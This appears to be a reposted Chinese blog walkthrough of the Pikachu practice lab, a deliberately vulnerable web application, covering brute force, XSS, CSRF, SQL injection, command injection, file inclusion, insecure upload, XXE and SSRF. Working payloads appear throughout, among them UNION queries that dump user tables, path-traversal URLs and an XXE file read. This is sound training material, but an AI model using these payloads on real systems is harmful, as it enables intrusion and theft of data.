pikachu 靶场通关(全)

这篇具有很好参考价值的文章主要介绍了pikachu 靶场通关(全)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

一.暴力破解

 1.1基于表单的暴力破解

1.1.1 漏洞利用

pikachu靶场通关,安全

burp抓包,ctrl+i 添加爆破

根据返回长度得到两个用户

admin 123456

test abc123

pikachu靶场通关,安全

 1.1.2 源代码分析

文件路径在:vul/burteforce/bf_form.php

pikachu靶场通关,安全

通过注释以及说明了,没有验证码也没有其他的访问控制,直接开始爆破就行

 1.2 验证码绕过(on server)

1.2.1 漏洞利用

pikachu靶场通关,安全

 比上面多了一个验证码,我们在提交时抓包,然后ctrl+r  重放,多点击几次send 然后看返回结果

pikachu靶场通关,安全

   发现同一个验证码我们重复使用了多次,返回的结果时用户名或密码错误,并没有提示验证码失效,也就是只要我们这个页面不刷新,就可以一直用这个验证码,那就跟第一关一样,直接ctrl+i拿去爆破,得到了跟上面一样的用户名跟密码

分别是  admin 123456

            test       abc123

pikachu靶场通关,安全

1.2.2  源代码分析

文件路径在:vul/burteforce/bf_server.php

pikachu靶场通关,安全

 关键点在于36行,注释也以及硕明白了,在验证完成后并没有销毁掉session['vcode'],导致了我们可以一直重复利用改验证码

1.3 验证码绕过(on client)

1.3.1 漏洞利用

输入验证码后,这提示也太快了把,点击后就立马弹出了错误,打开f12再试一次,果然,根本就没有发起http请求,验证码来自于前端的js,难怪这么快

pikachu靶场通关,安全

 burp抓包验证下 将验证码的vcode参数置空

pikachu靶场通关,安全

 发现提示的是用户名或密码错误,没有校验验证码参数,那么直接开始爆破即可

1.3.2 源代码分析

文件路径:就在当前页面

F12查看源代码,果然是前端生成的验证码,服务器并不校验

pikachu靶场通关,安全

1.4 token防爆破

1.4.1 漏洞利用

这里抓包可以看到多了个token,并且重放无法继续利用

pikachu靶场通关,安全

经过查找发现是在密码输入框的下方多一个隐藏的输入框,记录的是token的信息,那么直接拿去burp上开始爆破pikachu靶场通关,安全

ctrl+i 发送到爆破

模式选择 pitchfork  勾选两个参数,一个是密码,一个是token

pikachu靶场通关,安全

密码选项加载密码字典,token选项选择  Recursive grep

pikachu靶场通关,安全

 然后来到设置选项 勾选跟随重定向,然后点击正则的 Add

pikachu靶场通关,安全

 鼠标选中token的值,burp会自动生成正则表达式,不用自己手动输,点击ok

pikachu靶场通关,安全

 线程选项要更改一下, 设为单线程,然后直接开始爆破

pikachu靶场通关,安全

发现每次爆破的自动带入了当前页面的token,依旧根据长度判断

pikachu靶场通关,安全

 爆破成功,得到 admin的密码为123456

1.4.2 源代码分析

文件路径在   vul/burteforce/bf_token.php

在文件的63行设置了token

pikachu靶场通关,安全

 跟进函数,函数每次调用前都会检查当前session是否有token参数,有的话会先删除掉这个token再重新生成并保存到session中,也就无法重复利用了

pikachu靶场通关,安全

二:Cross-Site Scripting(xss)

概述:Cross-Site Scripting的简写css与前端的css重名了,所以称之为xss

2.1 反射型xss(get)

2.1.1 反射型xss(get)漏洞利用

输入到一半发现有字符长度限制,f12打开,将20个长度的限制加大

pikachu靶场通关,安全

输入  <script>alert(/1/)</script>

成功弹窗

pikachu靶场通关,安全

2.1.2 源码分析

文件路径  vul/xss/xss_reflected_get.php

直接接受我们get请求传递上来的内容未经任何过滤直接输出,导致了xss

pikachu靶场通关,安全

 2.2 反射型xss(post)

2.2.1 漏洞利用

这里首先是一个登录框,直接根据我们上面爆破到的用户名跟密码登录即可

我这里用  admin  123456

pikachu靶场通关,安全

 也是没有任何过滤,直接在输入框输入payload就行

<script>alert(/1/)</script>

pikachu靶场通关,安全

2.2.2 源码分析

文件路径:vul/xss/xsspost/xss_reflected_post.php

这里与上面一关唯一不同的就是传递的方式有GET转为了POST,同样也是无任何过滤直接返回到前端

pikachu靶场通关,安全

 2.3 存储型xss

2.3.1 漏洞利用

也是无任何过滤,直接输入 payload

<img src=1 οnerrοr=alert`1`>

pikachu靶场通关,安全

2.3.2 源码分析

vul/xss/xss_stored.php

也是无任何过滤,与前面不同的是这次将值传入了数据库,然后从数据库取值 

pikachu靶场通关,安全

2.4 dom型xss

这里是将传递的值当作了标签的href属性,插入payload   javascript:alert`1`

pikachu靶场通关,安全

 2.5 DOM型xss-x

依旧使用javascript伪协议

javascript:alert`1`

pikachu靶场通关,安全

2.6 xss之盲打

直接插入payload  <svg οnlοad=alert`1`>

pikachu靶场通关,安全

后台的地址为 locaohost/vul/xss//xssblind/admin.php

pikachu靶场通关,安全

 2.7 xss之过滤

payload  "><svg οnlοad=alert`1`>

pikachu靶场通关,安全

2.8 xss之htmlspecialchars

这个函数会过滤简括含号,但是我们的输出点是在a标签的href属性当中,直接使用伪协议即可

payload : javascript:alert`1`

还有就是htmlspcialchars 默认不对单引号过滤  也可以使用 '

payload :   ’ οnclick='alert`1`'

pikachu靶场通关,安全

 2.9 xss之href输出

payload : javascript:alert`1`

2.10 xss之js输出

这次的输出点在js上面,闭合掉前面的js,再插入代码

payload :</script><script>alert(/1/)</script>

三:csrf

3.1  CSRF(get)   CSRF(post)

在修改内容包的页面  engagement tools -> generte csrf poc

自动生成一个csrf的html文件,放到浏览器即可触发

token csrf 目前没搞定

token在页面内容,想的是ajax先获取到页面token,将token替换再次发送一个csrf,但是ajax没法跨域,网上搜了token也是防止csrf的一种方式

四: SQL-Inject

4.1 数字型注入(post)   手工注入

pikachu靶场通关,安全

是一个下拉菜单,无法通过浏览器修改内容,那上burp

输入单引号   页面报错,那么可能存在sql注入 

pikachu靶场通关,安全

id=1   页面返回内容 

id=2    页面返回不一样的内容

id=2-1   页面返回跟页面1一样的内容,说明后端执行了2-1,所以返回了id=1的内容,判断得知这是一个数字型的注入

判断字段数  id=1 order by 10  //order by 是排序,如果字段数大于10,那么返回正常,字段数小于我们的排序的数,就会出错

order by 2 返回正常  order by3 返回错误,得到字段数为2

判断能回显的字段   id=-1 union select 1,2 -- -

//union语句聚合两个查询的内容,由于页面只返回一行,所以在前面的输入一个不存在的id,我这里直接使-号,以返回我们输入的内容,这里页面上将1,2都返回了,得知两个字段都有回显, -- -的意思是注释掉后面的sql语句

id=-1 union select user(),database()-- -    查看用户名跟数据库

pikachu靶场通关,安全

得到是root用户,使用的是pikachu数据库 

查询当前数据库中的表

id=-1 union select user(),group_concat(table_name) from information_schema.tables where table_schema=database()-- -&submit=%E6%9F%A5%E8%AF%A2

pikachu靶场通关,安全

 得到 pikachu数据库中有5张表

httpinfo,member,message,users,xssblind

查询字段名 -错误

根据名称判断得知,users表中的字段比较重要,那就查询这张表id=-1 union select user(),group_concat(column_name) from information_schema.columns where table_name='users'-- -&submit=%E6%9F%A5%E8%AF%A2

pikachu靶场通关,安全

 得到这一个字段 user_id,first_name,last_name,user,password,avatar,last_login,failed_login,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,level,id,username,password,level,id,username,password

获取字段值

获取字段名-更正

上面仅仅判断table_name = users =很多数据库中都有users这个表,查询的结果是相当的不准确,这次再次加上  table_schema="pikachu"

id=-1 union select group_concat(column_name),2 from information_schema.columns where  table_schema="pikachu" and table_name="users"-- - &submit=%E6%9F%A5%E8%AF%A2

pikachu靶场通关,安全

得到只有 id username password,level 这4张表

根据字段查询内容 

id=-1 union select group_concat(username),group_concat(password) from `users`-- - &submit=%E6%9F%A5%E8%AF%A2

pikachu靶场通关,安全

 得到3个用户跟对于的3个密码,其中admin对于的密码是e10abc开头,一眼就认出是 123456的md5加密

当然,平时遇到sql注入还是sqlmap一把梭,不过学习还是要知道原理

4.2 字符型注入(get)

payload  vince' and 1=1-- -

4.3搜索型注入

payload:   allen' and 1=1-- -

4.4 xx型注入

payload: vince')-- -

五:RCE

5.1 exec "ping"

payload  127.0.0.1 && echo 123

5.2 exec "eval"

eval函数是将字符串当作php代码执行,我们可以直接调用system()函数执行系统命令,达到代码执行到系统命令执行

payload: system("whoami");

六: File Inclusion

 6.1 本地文件包含

http://pikachu.cn/vul/fileinclude/fi_local.php?filename=../../../../../../../.././a.txt&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

读取到了本地磁盘 a.txt的内容

6.2 远程文件包含

payload: http://pikachu.cn/vul/fileinclude/fi_remote.php?filename=http://www.baidu.com&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

七:Unsafe Filedownload

不安全的文件下载

在参数filename

payload: http://pikachu.cn/vul/unsafedownload/execdownload.php?filename=../../../../../../../a.txt

八: Unsafe Fileupload 不安全的文件上传

8.1 client check

客户端校验,将自己的php脚本重命名为png结尾,然后上传的时候抓包,将名称该过来

pikachu靶场通关,安全

 路径前台返回,拼接访问

pikachu靶场通关,安全

8.2 MIME type

这里是校验上传的   Content-Type: image/png

由于我们后缀本来就是png,就是正确的,还是跟上面一样,将png更改为php

pikachu靶场通关,安全

8.3 getimagesize

这里的后缀名是限制死的只能使用图片后缀

我们现在一张正常图片用编辑器打开,在末尾添加上php脚本

pikachu靶场通关,安全

 然后通过上方的本地文件包含当作php执行

pikachu靶场通关,安全

 9. Over Permission

9.1 水平越权

http://pikachu.cn/vul/overpermission/op1/op1_mem.php?username=lili&submit=%E7%82%B9%E5%87%BB%E6%9F%A5%E7%9C%8B%E4%B8%AA%E4%BA%BA%E4%BF%A1%E6%81%AFpikachu靶场通关,安全

 得到ili的信息,我们更改url中的username参数,更改为lucy 发现我们能获取到同等级用户lucy的信息,这就是水平越权

9.2 垂直越权

通过提示得到有admin管理员用户,可以添加信息   普通用户piukachu 只能查看信息

添加页面的网址在 ​​​​​​http://pikachu.cn/vul/overpermission/op2/op2_admin_edit.php

普通用户登录直接访问这个连接,输入后提交,发现我们普通用户的身份依旧能使用管理员的添加用户,这就是垂直越权

十: ../../

路径穿越

payload:http://pikachu.cn/vul/dir/dir_list.php?title=../../../../../../../../../a.txt

十一: 敏感信息泄露

那直接f12打开开翻 得到用户名跟密码  

pikachu靶场通关,安全

 十二:PHP反序列化

payload:   O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

pikachu靶场通关,安全

十三:XXE

payload :<?xml version="1.0"?> <!DOCTYPE ANY [ <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini"> ]> <a>&xxe;</a>

pikachu靶场通关,安全

十四:URL重定向

url参数可控

payload: pikachu.cn/vul/urlredirect/urlredirect.php?url=http://www.baidu.com

十五:SSRF 

15.1 SSRF(curl)

url参数可控

payload: pikachu.cn/vul/ssrf/ssrf_curl.php?url=http://www.baidu.com

15.2 SSRF(file_get_content)

file参数可控

payload:  http://pikachu.cn/vul/ssrf/ssrf_fgc.php?file=d://a.txt

打算是当天搞定的,现在已经 02点37分了,后面只有payload细节不详细了,通过这个靶机还是认识到自己的不足文章来源地址https://www.toymoban.com/news/detail-722212.html

到了这里,关于pikachu 靶场通关(全)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • # 解析Pikachu靶场:一个安全研究的练习场

    Pikachu靶场是一个非常流行的安全研究和渗透测试练习平台。这个环境包括多个安全漏洞,从基础的到高级的,供安全研究人员和渗透测试者进行实验和学习。在这篇博客中,我们将探讨Pikachu靶场的基本概念,功能,以及如何使用它来提升自己的安全技能。 Pikachu靶场是一个特

    2024年02月03日
    浏览(36)
  • 【网络安全 --- xss-labs靶场通关(1-10关)】详细的xss-labs靶场通关思路及技巧讲解,让你对xss漏洞的理解更深刻

    靶场安装请参考以下博客,既详细有提供工具: 【网络安全 --- xss-labs靶场】xss-labs靶场安装详细教程,让你巩固对xss漏洞的理解及绕过技巧和方法(提供资源)-CSDN博客 【网络安全 --- xss-labs通关】xss-labs靶场通关,让你巩固对xss漏洞的理解及绕过技巧和方法(提供资源) h

    2024年02月08日
    浏览(49)
  • pikachu通关教程通关详解超详细

    基于表单:抓包,发送给测试器,设置payload爆破 验证码绕过(on server):验证码不提交的话不会变化 验证码绕过(on client):基于客户端,验证码是本地源代码生产的F12找到删除 Token放爆破:正常抓包,看到加入了token,每次提交token的值都会变化 但是这里抓服务器响应的

    2024年02月03日
    浏览(44)
  • web安全-文件上传漏洞-图片马制作-相关php函数讲解-upload靶场通关详细教学(3)

    制作图片马有两种方法,一种是文本方式打开,末尾粘贴一句话木马,令一种是使用命令进行合成。 方法1 首先准备好一个图片(这里是1.png)。 将一个图片以文本格式打开(这里用的Notepad++,以记事本方式打开修改也能连接成功,不过修改后图片无法正常显示了)。 后面粘

    2024年02月06日
    浏览(56)
  • 靶场搭建——搭建pikachu靶场

    这里我所运用到的材料有:首先我最终是在虚拟机中环境为 win2012 和主机都搭建完成。 (一个即可) Phpstudy,Phpstorm,pikachu、 外加的话浏览器别太老。 Phpstudy :https://www.xp.cn/ Phpstorm :https://www.jetbrains.com/zh-cn/phpstorm/ pikachu :https://github.com/zhuifengshaonianhanlu/pikachu 这里我并没有

    2024年02月12日
    浏览(46)
  • pikachu靶场之暴力破解

    目录 一、什么是暴力破解 二、burpsuite四种攻击类型   1. sniper(狙击手模式)  2. battering ram(攻城锤模式) 3. pitchfrk(音叉模式)   4. cluster bomb(集数炸弹模式)    三、pikachu暴力破解 1. 基于表单的暴力破解 2. 验证码绕过(on server)  3. 验证码绕过(on client) 4. on client和on server 5. token防

    2024年02月05日
    浏览(38)
  • Pikachu靶场练习——CSRF

    打开pikachu靶场的CSRF我们可以看到CSRF的练习共有三项,分别为get、post、CSRF Token,在概述的地方有对CSRF的简单描述和一个小场景,对CSRF不熟悉的话建议先看看,看完之后那就开始趴。 点击CSRF(get)我们可以看到一个登录页面,点一下提示我们能够得到用户的登陆密码(后面

    2023年04月08日
    浏览(45)
  • pikachu靶场-RCE

    RCE漏洞概述 可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。 远程系统命令执行 命令执行漏洞(Command Execution)即黑客可以直接在Web应用中执行系统命令,从而获取敏感信息或者拿下shell权限 更常见的命令执行漏洞是发生在各种Web组件,

    2024年02月01日
    浏览(42)
  • pikachu靶场搭建教程

    pikachu靶场下载地址:https://github.com/zhuifengshaonianhanlu/pikachu 搭建过程 将靶场文件夹放到phpstudy的www目录 进入pikach文件夹的inc目录,修改靶场配置文件 config.inc.php ,设置数据库账号密码均为 root 启动phpstudy后访问本机ip目录下的install.php文件,进行安装初始化 点击安装/初始化 初

    2024年01月18日
    浏览(43)
  • pikachu靶场

    2024年01月18日
    浏览(31)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包